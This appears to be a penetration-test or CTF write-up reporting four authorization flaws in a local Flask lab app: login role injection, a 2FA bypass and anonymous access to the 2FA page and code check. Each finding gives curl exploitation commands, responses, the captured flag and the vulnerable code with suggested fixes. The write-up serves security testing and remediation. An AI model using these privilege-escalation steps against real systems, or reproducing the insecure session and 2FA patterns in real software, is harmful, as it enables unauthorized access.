# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Role Injection Enables Employee-to-Admin Privilege Escalation

**Summary:**
- **Vulnerable location:** POST /login endpoint (app.py:89)
- **Overview:** The login handler accepts a client-controlled `role` parameter and assigns it directly to the session without validation against the database, allowing any authenticated user to escalate privileges by manipulating the role parameter
- **Impact:** Complete vertical privilege escalation from employee to admin, granting access to the admin dashboard and CTF flag
- **Severity:** CRITICAL

**Prerequisites:** Valid employee credentials (any of: emp1:password1, emp:password1)

**Exploitation Steps:**

1. Submit a login request with valid employee credentials but inject `role=admin` parameter:
```bash
curl -i -X POST http://localhost:5003/login \
  -d "username=emp1&password=password1&role=admin" \
  -c /tmp/cookies.txt
```

**Expected Response:**
```json
HTTP/1.1 200 OK
Set-Cookie: session=eyJyb2xlIjoiYWRtaW4ifQ...; HttpOnly; Path=/

{
  "message": "",
  "redirect": "/admin/2fa",
  "success": true
}
```

The session cookie now contains `{"role": "admin"}` despite authenticating with employee credentials.

2. Skip the 2FA redirect and navigate directly to the admin dashboard:
```bash
curl -i http://localhost:5003/admin/dashboard -b /tmp/cookies.txt
```

**Expected Response:**
```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
...
<a href="/" flag="FLAG{e436458faa37a2dafda1d3c521b7916996e984e7dcb71b058b1e8d9c8c5fc0c5}">me</a>
...
```

**Proof of Impact:**

Successfully captured the CTF flag from the admin dashboard:

**FLAG{e436458faa37a2dafda1d3c521b7916996e984e7dcb71b058b1e8d9c8c5fc0c5}**

This demonstrates:
- Complete bypass of role-based access controls
- Vertical privilege escalation from employee to admin
- Unauthorized access to admin-only resources (CTF flag)
- Session contains admin privileges despite using employee credentials

**Technical Details:**

The vulnerability exists at app.py:89 where the code executes:
```python
session['role'] = role  # Line 89
```

The `role` variable comes from client input at line 73:
```python
role = request.form['role']  # CLIENT-CONTROLLED
```

Although the database is queried at lines 83-84 to retrieve the actual user role:
```python
cursor.execute('SELECT role FROM users WHERE username=? AND password=?', (username, password))
user = cursor.fetchone()  # Returns ('employee',) from database
```

The database result (`user[0]` which would be 'employee') is never used. The session is populated entirely from the client-submitted `role` parameter, enabling trivial privilege escalation.

**Notes:**

This vulnerability can be exploited in under 30 seconds with basic HTTP tools. No specialized exploitation frameworks required. The role parameter is visible as a hidden form field in the login page HTML, making it trivially discoverable through source code inspection.

---

### AUTHZ-VULN-02: 2FA Workflow Bypass via Direct Dashboard Access

**Summary:**
- **Vulnerable location:** app.py:89 (session set before 2FA) and app.py:114-118 (no 2FA completion validation)
- **Overview:** The authentication flow sets the admin role in the session before 2FA verification, and the admin dashboard only validates session role without checking whether 2FA was completed
- **Impact:** Complete bypass of the 2FA security control, enabling direct access to the admin dashboard after initial authentication without completing 2FA verification
- **Severity:** HIGH

**Prerequisites:** Valid admin credentials (admin:adminpassword) OR exploit AUTHZ-VULN-01 to inject admin role

**Exploitation Steps:**

1. Authenticate with admin credentials (or use role injection from AUTHZ-VULN-01):
```bash
curl -i -X POST http://localhost:5003/login \
  -d "username=admin&password=adminpassword&role=admin" \
  -c /tmp/admin_cookies.txt
```

**Expected Response:**
```json
HTTP/1.1 200 OK
Set-Cookie: session=eyJyb2xlIjoiYWRtaW4ifQ...; HttpOnly; Path=/

{
  "message": "",
  "redirect": "/admin/2fa",
  "success": true
}
```

The session is now set with `{"role": "admin"}` BEFORE any 2FA verification occurs.

2. Ignore the redirect to /admin/2fa and navigate directly to the admin dashboard:
```bash
curl -i http://localhost:5003/admin/dashboard -b /tmp/admin_cookies.txt
```

**Expected Response:**
```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
...
<a href="/" flag="FLAG{e436458faa37a2dafda1d3c521b7916996e984e7dcb71b058b1e8d9c8c5fc0c5}">me</a>
...
```

**Proof of Impact:**

Successfully accessed the admin dashboard and retrieved the CTF flag without completing the 2FA verification step. The application granted full admin access based solely on the session role, demonstrating that:
- 2FA verification is completely optional
- No session state tracking exists for 2FA completion
- Admin dashboard authorization check only validates `session['role'] == 'admin'` (line 116)
- No check for a `2fa_completed` flag or similar state indicator

**Technical Details:**

The vulnerability stems from two architectural flaws:

1. **Premature Authorization State**: Session role is set at line 89 (during login) BEFORE the 2FA step:
```python
if user:
    session['role'] = role  # Set before 2FA redirect
    return jsonify({"success": True, "redirect": "/admin/2fa", "message": ""})
```

2. **Missing State Validation**: The admin dashboard (lines 114-118) only checks role, not 2FA completion:
```python
@app.route('/admin/dashboard')
def admin_dashboard():
    if 'role' not in session:
        return redirect('/')
    if session['role'] == 'admin':  # No check for 2FA completion
        flag = os.getenv('FLAG', 'flag{this_is_a_fake_flag}')
        return render_template('admin_dashboard.html', flag=flag)
```

There is no `session['2fa_completed']` flag or equivalent state tracking mechanism. The 2FA endpoint at /admin/2fa does not set any session state upon successful verification, making it entirely bypassable.

**Notes:**

This vulnerability demonstrates a classic multi-step authentication bypass. The expected secure implementation would:
1. Set a temporary session state after password authentication (e.g., `2fa_pending`)
2. Only set the full admin role after 2FA verification completes
3. Validate 2FA completion state before granting access to protected resources

---

### AUTHZ-VULN-03: Anonymous Access to Admin 2FA Verification Page

**Summary:**
- **Vulnerable location:** GET /admin/2fa endpoint (app.py:33-34)
- **Overview:** The 2FA verification page is accessible without any authentication, allowing anonymous users to view the form structure and discover the hardcoded verification code in client-side JavaScript
- **Impact:** Information disclosure revealing authentication workflow details and exposing the hardcoded 2FA bypass code (1234) to unauthenticated users
- **Severity:** MEDIUM

**Prerequisites:** None (anonymous access)

**Exploitation Steps:**

1. Access the 2FA page without any authentication or session:
```bash
curl -i http://localhost:5003/admin/2fa
```

**Expected Response:**
```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en">
<head>
    <title>Login</title>
...
<script>
    $(document).ready(function() {
        $("form").submit(function(e) {
            e.preventDefault();
            var otp = $("#otp").val(); 
            $.ajax({
                url: "/admin/2fa",
                type: "POST",
                data: {
                    code: 1234,  // HARDCODED BYPASS CODE VISIBLE TO ANONYMOUS USERS
                },
                success: function(data) {
                    if (data.success == true) {
                        window.location.href = '/admin/dashboard';
                    }
                }
            });
        });
    });
</script>
```

**Proof of Impact:**

Successfully accessed the 2FA verification page without authentication, revealing:

1. **Authentication Workflow Structure**: Anonymous users can map the multi-step authentication flow (login → 2FA → dashboard)

2. **Hardcoded Bypass Code**: The client-side JavaScript exposes the 2FA verification code `1234` that is hardcoded in the AJAX submission:
```javascript
data: {
    code: 1234,  // User input from form is captured but ignored
},
```

3. **Form Structure**: The OTP form field structure is revealed, enabling targeted reconnaissance

**Technical Details:**

The vulnerability exists because the `/admin/2fa` endpoint (lines 33-44) has no authentication check at the beginning of the route handler:

```python
@app.route('/admin/2fa', methods=['GET', 'POST'])
def two_factor_auth():
    # MISSING: if 'role' not in session: return redirect('/admin/login')
    if request.method == 'POST':
        # ... POST handling
    return render_template('2fa.html')  # Renders without auth check
```

Compare this to protected endpoints like `/admin/dashboard` (lines 114-116) which include proper authentication guards:
```python
@app.route('/admin/dashboard')
def admin_dashboard():
    if 'role' not in session:  # Authentication check present
        return redirect('/')
```

**Notes:**

While this vulnerability alone doesn't grant admin access (the dashboard has its own guards), it provides valuable reconnaissance information:
- Reveals the existence of 2FA in the authentication flow
- Exposes the hardcoded bypass code to anonymous attackers
- Demonstrates inconsistent authentication guard implementation across endpoints
- Could be combined with AUTHZ-VULN-01 or AUTHZ-VULN-02 for complete exploitation chain

---

### AUTHZ-VULN-04: Anonymous 2FA Code Verification

**Summary:**
- **Vulnerable location:** POST /admin/2fa endpoint (app.py:35-43)
- **Overview:** The 2FA code verification endpoint accepts and validates codes from anonymous users without requiring authentication
- **Impact:** Anonymous users can verify the correctness of 2FA codes and receive validation feedback, enabling potential brute-force attacks and confirming the hardcoded bypass code
- **Severity:** MEDIUM

**Prerequisites:** None (anonymous access)

**Exploitation Steps:**

1. Submit the hardcoded 2FA code as an anonymous user (no session cookie):
```bash
curl -i -X POST http://localhost:5003/admin/2fa -d "code=1234"
```

**Expected Response:**
```json
HTTP/1.1 200 OK
Content-Type: application/json

{
  "message": "",
  "redirect": "",
  "success": true
}
```

2. Verify that incorrect codes are rejected with appropriate feedback:
```bash
curl -i -X POST http://localhost:5003/admin/2fa -d "code=9999"
```

**Expected Response:**
```json
HTTP/1.1 200 OK
Content-Type: application/json

{
  "message": "Invalid code",
  "redirect": "",
  "success": false
}
```

**Proof of Impact:**

Successfully demonstrated that anonymous users can:

1. **Submit verification codes** without any authentication or session
2. **Receive validation feedback** confirming whether codes are correct (`success: true/false`)
3. **Confirm the bypass code** (1234) works by testing it anonymously
4. **Potentially brute-force** the verification code (though it's already exposed in client-side JavaScript per AUTHZ-VULN-03)

While this doesn't directly grant dashboard access (since no admin session exists), it demonstrates:
- Missing authentication guard on POST handler
- Information leakage through success/failure responses
- Potential for automated brute-force attempts without rate limiting
- Inconsistent authentication enforcement across the same endpoint's GET/POST methods

**Technical Details:**

The vulnerability exists because the POST handler at lines 35-43 processes verification codes without checking for an authenticated session:

```python
@app.route('/admin/2fa', methods=['GET', 'POST'])
def two_factor_auth():
    if request.method == 'POST':
        code = request.form['code']  # No auth check before processing
        if code == '1234':  # Hardcoded verification
            return jsonify({"success": True, "message": "", "redirect": ""})
        else:
            return jsonify({"success": False, "message": "Invalid code", "redirect": ""})
    return render_template('2fa.html')
```

The expected secure implementation would:
1. Check for an authenticated session at function entry
2. Verify the session is in a "2FA pending" state
3. Only then process verification codes
4. Implement rate limiting to prevent brute-force attempts

**Notes:**

This vulnerability, combined with AUTHZ-VULN-03 (anonymous page access revealing the hardcoded code), demonstrates a completely broken 2FA implementation. The 2FA mechanism provides zero security value because:
- The code is hardcoded server-side (app.py:38)
- The code is hardcoded client-side (2fa.html:45)  
- Anonymous users can discover and verify the code
- The entire 2FA step can be bypassed via AUTHZ-VULN-02
